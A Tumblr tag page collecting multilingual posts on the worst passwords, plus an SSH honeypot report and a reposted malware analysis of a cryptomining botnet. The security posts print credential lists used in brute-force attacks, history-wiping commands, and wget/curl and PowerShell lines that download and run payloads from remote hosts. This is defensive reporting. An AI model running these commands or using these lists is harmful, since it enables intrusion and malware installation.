#1qaz2wsx!! | Explore Tumblr posts and blogs

katakaal · 3 years ago

Text

Palmarès des pires mots de passe utilisés par les internautes. On pourrait croire que les attaques informatiques malheureusement de plus en plus fréquentes nous poussent à nous creuser les méninges pour trouver des mots de passe plus difficiles à dérober. Ce n'est toutefois pas toujours le cas... Encore une fois cette année, le rapport du site américain SplashData révèle les 25 pires mots de passe de 2015 et nous confirme que bien des gens utilisent des mots de passe qui ne sont aucunement sécuritaires. Pour son rapport, la société de gestion de mot de passe s'est servie d'une banque de données contenant plus de 2 millions de ''codes secrets'' utilisés en Amérique du Nord et dans l'Europe de l'Est. mots-de-passe Au menu: des séquences de chiffres avec un degré de difficulté de 0 et, surprenamment, beaucoup de mots reliés à la célèbre saga qui a sorti un nouveau film en 2015: Star Wars! Palmarès des 25 pires mots de passe 1. 123456 (=) 2. password (=) 3. 12345678 (+ 1) 4. qwerty (+ 1) 5. 12345 (- 2) 6. 123456789 (=) 7. football (+ 3) 8. 1234 (- 1) 9. 1234567 (+ 2) 10. baseball (- 2) 11. welcome (nouveau) 12. 1234567890 (nouveau) 13. abc123 (+ 1) 14. 111111 (+ 1) 15. 1qaz2wsx (nouveau) 16. dragon (- 7) 17. master (+ 2) 18. monkey (- 6) 19. letmein (- 6) 20. login (nouveau) 21. princess (nouveau) 22. qwertyuiop (nouveau) 23. solo (nouveau) 24. passw0rd (nouveau) 25. starwars (nouveau) Ceux qui se demandent à quoi correspondent les informations qui se trouvent entre parenthèses, sachez qu'elles indiquent la différence de position du mot de passe comparativement au palmarès de 2014. Top 25 des pires mots de passe en 2015+ Par exemple, le mot de passe football qui se trouve en 7 position était plutôt en 10e en 2014. L'un de vos mots de passe correspond exactement ou est similaire à l'un d'entre eux? Pour assurer la confidentialité du compte pour lequel vous utilisez ce code, il est recommandé de le modifier dès que possible. Conseils pour choisir un mot de passe sécuritaire Voir une ancienne compilation des pires mots de passe

0 notes

belifii · 3 years ago

Text

0 notes

go-sentai-rider · 3 years ago

Photo

【注意】日本で最も使われるパスワード2021年版公開、1位は「password」 https://t.co/0QxazbPH17 1. password 2. 123456 3. 123456789 4. 12345678 5. 1qaz2wsx https://www.instagram.com/p/CWbxZOChRVY/?utm_medium=tumblr

0 notes

elektr0ninja · 6 years ago

Text

Top 100 ssh creds and more

I put a cowrie ssh honeypot on one of my systems in order to gather a username+password list which is used in dictionary attacks against ssh.

I tuned cowrie to let anyone in after a random number of tries between 10 and 20, but after I publish this article, it will be raised up to 100 in order to see more variations.

You can use this list to scan your own IOT devices if they have any of these as a factory default and change it or disable external ssh access if it is hardcoded.

count [username/password]

12686 [admin/1234] 825 [22/ubnt] 73 [1234/1234] 32 [admin/admin] 27 [root/root] 24 [ubnt/ubnt] 20 [root/!@] 20 [ftptest/ftp] 19 [root/000000] 18 [root/password] 18 [admin/password] 17 [root/123456] 16 [root/admin] 15 [pi/raspberry] 15 [admin/default] 14 [pi/raspberryraspberry993311] 12 [root/wubao] 12 [root/0000] 12 [applmgr/applmgr] 11 [root/welc0me] 11 [root/root123] 11 [root/openelec] 11 [root/abcd1234] 11 [root/111111] 11 [mc/mc] 10 [root/p@ssw0rd] 10 [root/12345] 9 [root/admin!@] 9 [root/admin123] 9 [root/1qaz2wsx] 9 [root/1234] 9 [admin/admin1] 8 [root/system] 8 [root/raspberry] 8 [root/calvin] 8 [root/123] 7 [root/test] 7 [root/raspberrypi] 7 [root/dreambox] 7 [root/default] 7 [root/1q2w1q2w] 7 [root/12345678] 7 [root/123456789] 7 [root/0.123] 7 [root/00000000] 6 [root/ubnt] 6 [root/root@123] 6 [root/!QAZ2wsx] 6 [root/] 6 [root/1] 6 [root/1234567] 6 [admin/admin1234] 6 [admin/12345] 5 [user/1] 5 [test/test] 5 [sysadmin/1qaz2wsx] 5 [support/support] 5 [root/xmhdipc] 5 [root/uClinux] 5 [root/seiko2005] 5 [root/qwe123] 5 [root/q1w2e3r4] 5 [root/passw0rd] 5 [root/live] 5 [root/demo] 5 [root/cisco] 5 [root/asd123] 5 [root/alpine] 5 [root/admins] 5 [root/abc123] 5 [root/654321] 5 [root/1q2w3e4r] 5 [root/1q2w3e4r5t] 5 [root/123qwe] 5 [root/12345!@#$%] 5 [root/00000] 5 [guest/guest] 5 [admin/admin123] 4 [user/user] 4 [ubuntu/ubuntu@1234] 4 [root/Zte521] 4 [root/waldo] 4 [root/trustno1] 4 [root/toor] 4 [root/superuser] 4 [root/superman] 4 [root/siemens] 4 [root/rpitc] 4 [root/root1234] 4 [root/r00tr00t] 4 [root/qwertyuiop] 4 [root/qwerty123456] 4 [root/qazwsxedc] 4 [root/q1w2e3r4t5] 4 [root/public] 4 [root/p@ssword] 4 [root/P@ssw0rd] 4 [root/password1] 4 [root/king] 4 [root/changeme]

It also logs the shell command activity of the attacker. As learned in the school, the first action is usually the deactivation of the shell command history in order to cover the tracks:

CMD: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0; Command found: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH Command found: history -n Command found: export HISTFILE=/dev/null Command found: export HISTSIZE=0 Command found: export HISTFILESIZE=0

After the command history is disabled, the next step is to gather some info about the system:

CMD: uname Command found: uname CMD: ps -x Command found: ps -x CMD: cat /proc/cpuinfo Command found: cat /proc/cpuinfo CMD: free -m Command found: free -m

Having all these information helps the attacker to find out what kind of system she is working on and to decide if escalation of privilege is possible/needed. They will also try if the computer is able to connect to remote systems, probably in order to fetch further tools for establishing persistence or to test if they are in a honeypot:

Some attackers stop here and disconnect due to failed outbound communications. I did not allow the outbound connections in the cowrie configuration. Some of them try to establish persistence using this command sequence. The file “ys808e” is a statically linked ELF executable, which is recognized by some of the AV engines in virustotal as malware.

executing command "#!/bin/sh PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin wget http://157.52.156.37/ys808e curl -O http://157.52.156.37/ys808e chmod +x ys808e ./ys808e

I’m going to analyze it in my malware lab later.

1 note · View note

loose-cannon-aka-mark-barber · 4 years ago

Text

tOP 10,000 USED PASSWORDS.

123456

password

12345678

qwerty

123456789

12345

1234

111111

1234567

dragon

123123

baseball

abc123

football

monkey

letmein

696969

shadow

master

666666

qwertyuiop

123321

mustang

1234567890

michael

654321

pussy

superman

1qaz2wsx

7777777

fuckyou

121212

000000

qazwsx

123qwe

killer

trustno1

jordan

jennifer

zxcvbnm

asdfgh

hunter

buster

soccer

harley

batman

andrew

tigger

sunshine

iloveyou

fuckme

2000

charlie

robert

thomas

hockey

ranger

daniel

starwars

klaster

112…

View On WordPress

0 notes

ecstasydata1 · 5 years ago

Text

Password ยอดแย่ของปี 2019 ที่ใช้กันมากที่สุด

Password ยอดแย่ของปี 2019 ที่ใช้กันมากที่สุด จะมีที่คุณใช้อยู่หรือป่าว

บริษัทรักษาความปลอดภัยข้อมูลดิจิทัล SplashData ประกาศจัดอันดับ Password ยอดแย่ประจำปี ซึ่งครั้งนี้มีการจัดเป็นครั้งที่ 9 แล้วสำหรับรายชื่อรหัสผ่านที่แย่ที่สุดบนอินเตอร์เน็ต

โดยปีนี้มีจำนวนพาสเวิร์ดมากกว่า 5 ล้านรหัสที่เหล่า Hacker ได้แชร์กันมา ซึ่งปีนี้ก็ไม่ต่างจากครั้งก่อนสักเท่าไร แน่นอนว่าไม่ว่าจะเป็น 123456, qwerty, password หรือเหล่าพาสเวิร์ดสุดง่ายที่เราคุ้นตาต่างก็ติดอันดับในปีนี้ด้วยกันทั้งนั้น และ 50 อันดับแรกของพาสเวิร์ดยอดแย่ที่คนใช้กันมากที่สุดประจำปี 2019 มีดังนี้

50 อันดับ Password ยอดแย่ที่ใช้กันมากที่สุดประจำปี 2019

1 - 123456（อันดับเท่าเดิมจากปี 2018） 2 - 123456789（1 อันดับขึ้นจากปีที่แล้ว） 3 - qwerty（6 อันดับขึ้นจากปีที่แล้ว） 4 - password（2 อันดับลงจากปีที่แล้ว） 5 - 1234567（2 อันดับขึ้นจากปีที่แล้ว） 6 - 12345678 （2 อันดับลงจากปีที่แล้ว） 7 - 12345（2 อันดับลงจากปีที่แล้ว） 8 - iloveyou（2 อันดับขึ้นจากปีที่แล้ว） 9 - 111111（3 อันดับลงจากปีที่แล้ว） 10 - 123123（7 อันดับขึ้นจากปีที่แล้ว） 11 - abc123（4 อันดับขึ้นจากปีที่แล้ว） 12 - qwerty123 (13 อันดับขึ้นจากปีที่แล้ว) 13 - 1q2w3e4r（ติดเป็นปีแรก） 14 - admin（2 อันดับลงจากปีที่แล้ว） 15 - qwertyuiop （ติดเป็นปีแรก） 16 - 654321（3 อันดับขึ้นจากปีที่แล้ว） 17 - 555555（ติดเป็นปีแรก） 18 - lovely（ติดเป็นปีแรก） 19 - 7777777（ติดเป็นปีแรก） 20 - welcome（7 อันดับลงจากปีที่แล้ว） 21 - 888888 （ติดเป็นปีแรก） 22 - princess（11 อันดับลงจากปีที่แล้ว） 23 - dragon（ติดเป็นปีแรก） 24 - password1 （คงที่） 25 - 123qwe（ติดเป็นปีแรก） 26 - 666666 27 - 1qaz2wsx 28 - 333333 29 - michael 30 - sunshine 31 - liverpool 32 - 777777 33 - 1q2w3e4r5t 34 - donald 35 - freedom 36 - football 37 - charlie 38 - letmein 39 - !@#$%^&* 40 - secret 41 - aa123456 42 - 987654321 43 - zxcvbnm 44 - passw0rd 45 - bailey 46 - nothing 47 - shadow 48 - 121212 49 - biteme 50 - ginger

เห็นอย่างนี้แล้ว ยังไงก็ควรทำพาสเวิร์ดให้มีความยากมากขึ้นจะได้ไม่โดนเหล่า Hacker สุ่มรหัสเพื่อเจาะบัญชีเราได้ โดยเฉพาะบัญชีธุรกรรมต่าง ๆ ที่เกี่ยวข้องกับการเงิน ไม่ว่าจะเป็นบัญชีเว็บไซต์ซื้อของออนไลน์ บัญชีธนาคาร หรือแม้แต่บัญชี Netflix ทางที่ดีควรตั้งพาสเวิร์ดให้มีความยาว 8 ตัวอักษรขึ้นไป มีสัญลักษณ์พิเศษ มีทั้งตัวอักษรทั้งตัวเลข และที่สำคัญหลีกเลี่ยงไม่ใช่พาสเวิร์ดตามรายชื่อ 50 อันดับที่กล่าวไว้ข้างต้น เพื่อความปลอดภัยในโลกออนไลน์ของเราเอง แต่ก็อย่าตั้งยากเกินไปจนตัวเองลืมจดล่ะ!

แหล่งข้อมูล :gconsole

โดย : เกมฮิต

0 notes

onlinekhabarapp · 5 years ago

Text

यी हुन् यस वर्षका सबैभन्दा असुरक्षित पासवर्ड, भुलेर पनि प्रयोग नगर्नुस्

साइबर विज्ञहरुका अनुसार साइबर आक्रमणको सबैभन्दा प्रमुख कारण इन्टरनेट कमजोर पासवर्ड रहने गरेको छ ।

त्यसैले साइबर सुरक्षाका लागि अनलाइन अकाउन्टको पासवर्डहरु सुरक्षित तथा मजबूत हुनु आवश्यक छ ।

सेक्योरिटी सर्भिस कम्पनी स्प्लास डाटाले इन्टरनेट जगतमा ह्याक गरेर लिक गरिएका ५० लाखभन्दा धेरै पासवर्डहरुको अनुसन्धान गरेको छ । सो अनुसन्धानपश्चात् कम्पनीले सन् २०१९ का सबैभन्दा असुरक्षित पासवर्डको सूचि सार्वजनिक गरेको छ ।

यदि तपाइँले पनि आफ्नो कुनै अनलाइन अकाउण्डमा यी मध्ये कुनै पासवर्ड प्रयोग गर्नुभएको छ भने आजै परिवर्तन गर्नुहोला । किनकी यी पासवर्डहरु यस वर्ष सबैभन्दा धेरै ह्याक भएका पासवर्डमा परेका छन् ।

पछिल्ला धेरै वर्षहरुझैँ यो वर्ष पनि 123456789 सबैभन्दा असुरक्षित पासवर्डको पहिलो स्थानमा परेको छ । दोश्रो स्थानमा 123456 रहेको छ ।

त्यस्तै तेश्रो स्थानमा qwerty, चौथो स्थानमा password र पाँचौ स्थानमा 1234567 रहेका छन् ।

यी हुन् सबैभन्दा असुरक्षित ५० पासवर्ड

1. 123456

2. 123456789

3. qwerty

4. password

5. 1234567

6. 12345678

7. 12345

8. iloveyou

9. 111111

10. 123123

11. abc123

12. qwerty123

13. 1q2w3e4r

14. admin

15. qwertyuiop

16. 654321

17. 555555

18. lovely

19. 7777777

20. welcome

21. 888888

22. princess

23. dragon

24. password1

25. 123qwe

26. 666666

27. 1qaz2wsx

28. 333333

29. michael

30. sunshine

31. liverpool

32. 777777

33. 1q2w3e4r5t

34. donald

35. freedom

36. football

37. charlie

38. letmein

39. !@#$%^&*

40. secret

41. aa123456

42. 987654321

43. zxcvbnm

44. passw0rd

45. bailey

46. nothing

47. shadow

48. 121212

49. biteme

50. ginger

हालै गुगलले प्रयोगकर्तालाई पासवर्ड लिक वा कुनै खाले ह्याकिङ्गबाट बचाउनका लागि एक खास टुल आफ्नो क्रोम ब्राउजरमा राख्ने निर्णय गरेको छ । उक्त टुलको माध्यमले प्रयोगकर्तालाई रियल टाइम सुरक्षा प्राप्त हुनेछ र आफ्नो पासवर्ड यसअघि पनि कहिल्यै लिक भएको थियो वा थिएन भन्नेसमेत जानकारी पाउन सकिनेछ ।

एजेन्सीको सहयोगमा

#OnlineKhabarHP #Online Khabar

0 notes

siberguvenlikwebtr · 5 years ago

Text

Veri İhlalleri Sonucu Ortaya Çıkan Tablo:2019'da En Sık Kullanılan Şifreler

Bir grup bağımsız anonim araştırmacı, 2019 yılında veri ihlallerinde sızan en popüler 200 parolanın bir listesini oluşturdu ve güvenlik firması NordPass ile paylaştı. Araştırmacılar, bu çalışmayı yaparken çeşitli veri ihlallerinde sızan verileri analiz ettiler. Şifreler '12345,' '123456' ve '123456789' en yaygın kullanılan şifrelerdi, ardından 'test1' ve tabii ki 'password' şifresi geliyordu. NordPass, bu yıl veri ihlallerinden toplam 500 milyon şifre topladı ve analiz etti. Sonuçları açıkladığı rapora göre önceki yıllarda elde eilen sonuçlar ile benzer ve uyumlu idi. Zayıf parola mantığı en sık görülen kullanımlardan biriydi, klavyede asdfghjkl, qazwsx, 1qaz2wsx, vb. gibi yatay veya dikey bir çizgi çizerek oluşturan harf dizeleri de içeriyordu. En çok kullanılan “password”, 830.846 kişi tarafından tercih edilmişti. Şifreler '12345,' '123456' ve '123456789' en yaygın şifrelerdi, ardından 'test1' ve 'password' şifresi geldi. Popüler kadın isimlerini içeren şifrelerle Nicole, Jessica, Hannah vb. sıklıkla karşılaşıldı. Basit sayısal dizgiler ve genel isimlerle birlikte, kolay kullanılan diğer şifreleri kırmak kolay olan 'asdf,' 'qwerty' 'iloveyou' vb. gibi basit dizeler de sık kullanılmıştı. En kötü 25 şifrenin listesi 12345 123456 123456789 test1 password 12345678 zinch g_czechout asdf qwerty 1234567890 1234567 Aa123456. iloveyou 1234 abc123 111111 123123 dubsmash test princess qwertyuiop sunshine BvtTest123 11111 Araştırma, her hesapta ortak şifre kullanmanın saldırganlara avantaj sağlamaya devam ettiğini ortaya koydu. İnsanların yaptığı iki büyük hata - zayıf şifreleri benimsemeleri çünkü hatırlamaları kolaydır ve birden fazla çevrimiçi hizmet arasında ortak şifreleri kullanmaları Veri ihlallerinin bu kadar yaygın hale gelmesiyle, internet kullanıcılar��nın bu tür yaygın hatalardan kaçınmaları ve siber güvenlik duruşlarını iyileştirmeleri gerekir. Read the full article

#ŞifreDeğilParola

0 notes

gozealouscloudcollection · 5 years ago

Text

2019年最差密碼排行榜

12月17日，2019年最差密碼排行榜公佈，“12345”名列榜首，其次是“123456”、“123456789”、“test1″和”password”。

這個榜單由安全公司NordPass發布。通過收集2019年數據洩露中暴露的密碼，NordPass列出了200種“最流行”的密碼列表。

這家公司總共收集了5億個密碼，結果讓人不安。

2019年，安全專家披露了幾起嚴重的數據洩露事件，影響數十億互聯網用戶。僅僅前5起洩露事件就暴露了近30億條記錄。

NordPass的研究表明，用戶繼續使用弱密碼，好處是容易記，並在多個在線服務間共享，但這種糟糕的習慣讓用戶面臨被黑客攻擊的重大風險。

“最流行的密碼包含顯然易見且容易猜到的數字組合，比如12345、111111、123321，還有鍵盤上簡易組合，像asdfghjkl、qazwsx和1qaz2wsx等。讓人大跌眼鏡的是，最明顯的'password '仍然非常受歡迎，有830846人使用。”NordPass在報告中寫道。

最流行的200個密碼TOP …

from 2019年最差密碼排行榜 via KKNEWS

#程式開發

0 notes

tqvcancun · 5 years ago

Text

Estas son las contraseñas más usadas en el 2019 y 1234 sigue encabezando la lista

Estamos a tan solo pocos días de acabar el año y las encuestas y estadísticas de lo más usado en el año se están empezando a dar a conocer y una de ellas no se puede pasar por alto, pues las contraseñas más utilizadas durante este 2019 nos deja un tanto preocupados.

(adsbygoogle = window.adsbygoogle || []).push({});

Ya que a pesar de muchos de los aportes por parte de los principales navegadores web, así como aplicaciones web, sitios web entre otros en donde recomiendan encarecidamente el uso de contraseñas fuertes y en el caso de los navegadores web suelen ofrecernos un generador de contraseñas, tal parece que estos esfuerzos no han rendido muchos frutos.

La lista de las contraseñas más utilizadas en este 2019 es una compilación por parte de investigadores independientes, si sumáramos otros reportes el resultado no cambiara mucho.

Pues a pesar de las violaciones de datos que involucran contraseñas robadas o hackeadas que aparecen en los titulares, muchos usuarios de Internet aún toman malas decisiones con respecto a sus credenciales de inicio de sesión.

(adsbygoogle = window.adsbygoogle || []).push({});

Y es que el administrador de contraseñas NordPass compartió una lista de las 200 contraseñas más utilizadas en 2019 y destacó las que nunca debe usar:

“Investigadores independientes, que pidieron permanecer en el anonimato, compilaron y compartieron con nosotros una lista de las 200 contraseñas más populares que se revelaron durante las violaciones de datos este año. La base de datos es bastante impresionante: 500 millones de contraseñas en total. Y si cree que hay muchas contraseñas filtradas, tenemos malas noticias para usted: esta es solo la punta del iceberg.”

Las contraseñas más populares contienen todas las combinaciones de números obvios y fáciles de adivinar (12345,111111,123321), nombres femeninos populares (Nicole, Jessica, Hannah) y solo cadenas de letras que forman una línea horizontal o vertical a través de un teclado QWERTY (asdfghjkl, qazwsx, 1qaz2wsx, etc.).

Sorprendentemente, la más obvia (“contraseña” o “password”) sigue siendo muy populares pues al redor de 830.846 personas todavía lo usan.

Para tratar de encontrar una razón que pueda indicar por qué esto no ha cambiado (en particular, por qué los usuarios de internet continúan usando “contraseña”, “password” como contraseña entre otras, así como otras que aparecen en la lista año tras año).

La primera razón es que son más fáciles de recordar. Es así de simple: la mayoría de las personas prefieren usar contraseñas débiles en lugar de cansarse de tratar de recordar palabras largas y complejas.

Desafortunadamente, esto también significa que usan lo mismo para todas sus cuentas. Y si una de ellas se encuentra en violación, todas las otras cuentas también se ven comprometidas automáticamente.

Por otro lado, también muchos usuarios argumentan que no tienen nada importante o algo que ocultar por lo que este es otro motivo por el cual no se preocupan por establecer una buena contraseña. Aunque bien dice el dicho uno no valora lo que tiene hasta que lo ve perdido.

NordPass recomienda tomar medidas para proteger mejor sus cuentas antes de que sea demasiado tarde.

Ya que al final de cuentas, el simple hecho de que contraseña de tu correo electrónico caiga en manos de otros puede muy perjudicar pues prácticamente estas dejando la puerta abierta para que se hagan con el control de tus otras cuentas por ejemplo redes sociales, sitios web o peor aun acceso a tus cuentas bancarias.

Aunque hoy en día muchos sitios web ya cuentan con el soporte para la autenticación de dos factores, muchos usuarios no suelen usar este tipo de seguridad o peor aún si lo usan, en lugar de utilizar la función para enviar el código de autenticación a tu número de teléfono o algun otro medio, suelen pedir que se envié a su mismo correo electrónico.

Finalmente el problema de utilizar contraseñas como “1234” no solo es un problema en la red sino que también es una de las contraseñas más utilizadas como clave bancaria.

Sin más, puedes consultar la lista de las contraseñas más utilizadas en este 2019 en el siguiente enlace.

Fuente: Linux Adictos https://www.linuxadictos.com/estas-son-las-contrasenas-mas-usadas-en-el-2019-y-1234-sigue-encabezando-la-lista.html

#IFTTT #Linux Adictos

0 notes

terabitweb · 6 years ago

Text

Original Post from Trend Micro Author: Trend Micro

By Augusto Remillano II and Arvin Macaraeg

We detected a malware that uses multiple propagation and infection methods to drop a Monero cryptocurrency miner onto as many systems and servers as possible. Initially observed in China in early 2019, the methods it previously used to infect networks involved accessing weak passwords and using pass-the-hash technique, Windows admin tools, and brute force attacks with publicly available codes. However, this new case we found in Japan involves the use of the EternalBlue exploit and the abuse of PowerShell to break into the system and evade detection.

It appears that the attackers are now expanding this botnet to other countries; our telemetry has since detected this threat in Australia, Taiwan, Vietnam, Hong Kong, and India.

Propagation and Behavior

The malware’s (detected by Trend Micro as Trojan.PS1.LUDICROUZ.A) primary propagation technique involves trying a list of weak credentials to log into other computers connected to the network. Instead of directly sending itself into all the systems connected, the remote command changes the firewall and port forwarding settings of the infected machines, setting up a scheduled task to download and execute an updated copy of the malware. The downloaded PowerShell script is executed with

IEX (New-Object Net.WebClient).downloadstring(‘hxxp://v.beahh[.]com/wm?hp’)

123456

password

PASSWORD

football

welcome

123

321

1234

12345

123123

123321

111111

654321

666666

121212

000000

222222

888888

1111

555555

1234567

12345678

123456789

987654321

admin

abc123

abcd1234

abcd@1234

abc@123

p@ssword

P@ssword

p@ssw0rd

P@ssw0rd

P@SSWORD

P@SSW0RD

P@$$w0rd

P@$$word

P@$$w0rd

iloveyou

monkey

passw0rd

master

hello

qazwsx

password1

qwerty

baseball

qwertyuiop

superman

1qaz2wsx

fuckyou

123qwe

zxcvbn

pass

aaaaaa

love

administrator

Table 1. List of weak passwords used for primary propagation.

It also uses this list with Invoke-WMIMethod (detected by Trend Micro as HackTool.Win32.Impacket.AI) to gain remote access to other machines:

Figure 1. Invoke-WMIMethod for remote access to machines with weak passwords.

The malware also uses the pass the hash method, wherein it authenticates itself to remote servers using the user’s hashed password. By using the Get-PassHashes command, the malware acquires the hashes stored in the machine, as well as the hashes of the weak passwords listed. After acquiring the hashes, the malware utilizes Invoke-SMBClient – another publicly available script – to perform file share operations using pass-the-hash.

Figure 2. Malware using pass-the-hash technique to get the hash of the user’s password and hashes of the weak passwords.

If successful, it deletes the file %Start Menu%ProgramsStartuprun.bat, likely a dropped file of an older version of the malware. It also drops the following:

%Application Data%flashplayer.tmp

%Application Data%sign.txt – used to indicate that the machine is already infected

%Start Menu%ProgramsStartupFlashPlayer.lnk – responsible for executing the script tmp at startup

If the user has a stronger password, the malware uses EternalBlue to propagate.

Figure 3. Exploit payload.

Once a machine is infected via one of the methods, the malware acquires the MAC address and collects information on the anti-virus products installed in the machine. It downloads another obfuscated PowerShell script (detected by Trend Micro as Trojan.PS1.PCASTLE.B) from the C&C server, and analysis revealed that the download URL sends back the information it acquired earlier to its handler. The downloaded PowerShell is a dropper, responsible for downloading and executing the malware’s components, most of which are copies of itself.

Figure 4. Routine for acquiring the MAC address and AV products installed by the malware.

To check whether the malware already installed its components it looks for the following files:

%Temp%kkk1.log

%Temp%pp2.log

%Temp%333.log

%Temp%kk4.log

%Temp%kk5.log

Figure 5. Checking for installed malware components.

With each $flagX representing a component, the malware downloads a newer version of the PowerShell dropper script ($flag) and installs a scheduled task to run it regularly if it is still unset. The behavior of the malware depends on the privilege it was run. $flag2 also downloads a copy of the malware from a different URL and creates a differently named scheduled task.

Figure 6. $flag and $flag2 for scheduled tasks.

The third component (detected by Trend Micro as TrojanSpy.Win32.BEAHNY.THCACAI) is a dropped Trojan — a copy of itself in a larger file size, likely to evade sandboxes — that collects system information from the host:

Computer Name

Machine’s GUID

MAC Address

OS Version

Graphics Memory Information

System Time

The fourth component is a Python-compiled binary executable that further propagates the malware, also capable of pass the hash attacks by dropping and executing a PowerShell implementation of Mimikatz (detected by Trend Micro as Trojan.PS1.MIMIKATZ.ADW).

Figure 7. Dropping the fourth executable component.

Figure 8. Checking if the Mimikatz component is already installed, and executing Mimikatz.

The malware also attempts to use weak SQL passwords to access vulnerable database servers, executing shell commands using xp_cmdshell upon access. Like the main file, the component scans IP blocks for vulnerable devices that can be exploited using EternalBlue by reusing publicly available codes related to previous exploits.

Figure 9. Scanning for vulnerable database servers.

The fifth component is an executable that is downloaded and executed. However, the download URL was offline at the time of writing.

The malware’s payload — a Monero coinminer — is also deployed by PowerShell, but is not stored in a file. Instead, it is injected into its own PowerShell process with another publicly available code, Invoke-ReflectivePEInjection. After installation, the malware reports its status to the C&C server.

Figure 10. PowerShell script that downloads and executes the miner payload.

Figure 11. Executing the miner payload.

Conclusion

We found the malware sample to be sophisticated, designed specifically to infect as many machines as possible and to operate without immediate detection. It leverages weak passwords in computer systems and databases, targets legacy software that companies may still be using, uses PowerShell-based scripts with components downloaded and executed in memory, exploits unpatched vulnerabilities, and installs using the Windows startup folder and the task scheduler. Considering the increasing popularity of PowerShell and more publicly available open-source codes, we can expect to see more complicated malware like these. And while system information being collected and sent back to the C&C may appear insignificant compared to directly stealing personally identifiable information, system information is unique to machines and may be used to trace, identify, and track users and activities.

Figure 12. Malware’s new URL.

We recommend updating systems with available patches from legitimate vendors as soon as possible. Users of legacy software should also update with virtual patches from credible sources. As of this writing, the malware is still active and was updated, connecting to a new URL. Use complicated passwords, and authorize layered authentication whenever possible. Enterprises are also advised to enable a multi-layered protection system that can actively block these threats and malicious URLs from the gateway to the endpoint.

Indicators of Compromise

SHA256 Detection 3f28cace99d826b3fa6ed3030ff14ba77295d47a4b6785a190b7d8bc0f337e41 Trojan.PS1.MIMIKATZ.ADW 7c402add8feffadc6f07881d201cb21bc4b39df98709917949533f6febd53b6e Trojan.PS1.LUDICROUZ.A aaef385a090d83639fb924c679b2ff22e90ae9377774674d537670a975513397 TrojanSpy.Win32.BEAHNY.THCACAI e28b7c8b4fc37b0ef91f32bd856dd71599acd2f2071fcba4984cc331827c0e13 Trojan.PS1.PCASTLE.B fa0978b3d14458524bb235d6095358a27af9f2e9281be7cd0eb1a4d2123a8330 HackTool.Win32.Impacket.AI

URLs

hxxp://down[.]beahh[.]com/c32.dat

hxxp://down[.]beahh[.]com/new.dat?allv5

hxxp://ii[.]ackng[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}

hxxp://log[.]beahh[.]com/logging.php?ver=5p?src=wm&target

hxxp://oo[.]beahh[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}

hxxp://p[.]beahh[.]com/upgrade.php

hxxp://pp[.]abbny[.]com/t.php?ID={Computer Name}&GUID={GUID}&MAC={MAC ADDRESS}&OS={OS Version&BIT={32/64}&CARD={VIDEO CARD INFORMATION}&_T={TIME}

hxxp://v[.]beahh[.]com/wm?hp

hxxp://v[.]y6h[.]net/g?h

hxxp://v[.]y6h[.]net/g?l

lplp1[.]abbny[.]com:443

lplp1[.]ackng[.]com:443

lplp1[.]beahh[.]com:443

Additional insights and analysis by Carl Maverick Pascual and Patrick Angelo Roderno.

The post Miner Malware Spreads Beyond China, Uses Multiple Propagation Methods Including EternalBlue, Powershell Abuse appeared first on .

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: Trend Micro Miner Malware Spreads Beyond China, Uses Multiple Propagation Methods Including EternalBlue, Powershell Abuse Original Post from Trend Micro Author: Trend Micro By Augusto Remillano II and Arvin Macaraeg We detected a malware that uses multiple propagation and infection methods to drop a Monero cryptocurrency miner onto as many systems and servers as possible.

#Trend Micro

0 notes

cepavantaj · 6 years ago

Text

2018 Yılının En Kötü Şifre Kombinasyonları Belli Oldu

SplashData isimli yazılım şirketi Kuzey Amerika ve Batı Avrupa merkezli olarak farklı firmalardan sızdırılan 5 milyondan fazla şifreyi analiz etti. Analiz sonunda 2018 yılının En Kötü Şifre Kombinasyonları belli oldu.

Yapılan analizlere göre kullanıcıların en fazla tercih ettikleri ve güvenlik noktasında kötü konumda olan 100 farklı şifre kombinasyonu firma tarafından bir liste haline getirildi.

Listenin ilk sırasında her zaman ki gibi 123456 şifre kombinasyonu yer alırken ikinci sırada da Password yer aldı.

SplashData CEO’su Morgan Slain konuyla ilgili olarak: “Hacker’lar ünlü isimleri, pop kültürü ve spor terimlerini kullanarak büyük başarılar elde ediyor. Çünkü birçok kişinin bu kolay hatırlanan kombinasyonları kullandıklarını iyi biliyorlar.” ifadelerini kullanmış.

2018 Yılının En Kötü Şifre Kombinasyonları

Firma tarafından listelenen en kötü 100 şifrenin listesini sizlerle de paylaşıyoruz. Listede sizin de şifreleriniz var ise şifrelerinizi gözden geçirin derim.

